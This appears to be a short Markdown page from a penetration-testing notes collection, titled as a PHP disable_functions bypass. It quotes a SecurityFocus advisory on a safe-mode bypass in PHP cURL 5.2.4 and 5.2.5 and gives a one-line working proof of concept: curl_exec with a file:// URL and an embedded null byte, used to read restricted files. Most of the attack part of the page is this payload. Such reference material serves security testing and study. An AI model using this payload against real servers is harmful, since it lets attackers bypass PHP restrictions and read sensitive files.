19 lines
624 B
Markdown
19 lines
624 B
Markdown
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# disable\_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
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## PHP 5.2.4 and 5.2.5 PHP cURL
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From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
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```text
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source: http://www.securityfocus.com/bid/27413/info
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PHP cURL is prone to a 'safe mode' security-bypass vulnerability.
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Attackers can use this issue to gain access to restricted files, potentially obtaining sensitive information that may aid in further attacks.
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The issue affects PHP 5.2.5 and 5.2.4.
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var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
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```
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